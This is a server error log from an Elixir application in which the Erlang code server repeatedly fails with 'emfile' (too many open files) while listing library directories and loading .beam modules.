[Sun Sep  6 00:59:42.811000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.811000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.811000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.811000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.811000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.811000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.811000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.811000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.811000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.812000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.812000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.812000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.812000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.812000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.812000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.812000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.812000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.812000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.812000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.812000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.812000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.812000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.812000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.812000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.813000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.813000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.813000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.813000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.813000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.813000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.813000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.813000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.813000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.813000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.814000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.814000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.814000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.814000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.814000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.814000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.814000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.814000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.814000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.814000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.814000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.814000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.815000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.815000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.815000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.815000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.815000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.815000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.815000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.815000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.815000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.815000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.815000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.815000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.815000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.815000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.815000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.815000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.815000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.815000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.815000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.815000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.815000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.815000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.816000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.816000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.816000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.816000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.816000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.816000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.816000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.816000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.816000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.817000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.817000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.817000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.817000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.817000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.817000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.818000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.818000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.818000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.818000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.818000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.818000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.818000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.818000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.818000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.818000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.818000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.818000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.818000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.818000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.818000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.818000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.818000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.818000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.818000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.819000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.819000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.819000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.819000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.819000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.819000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.819000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.819000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.819000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
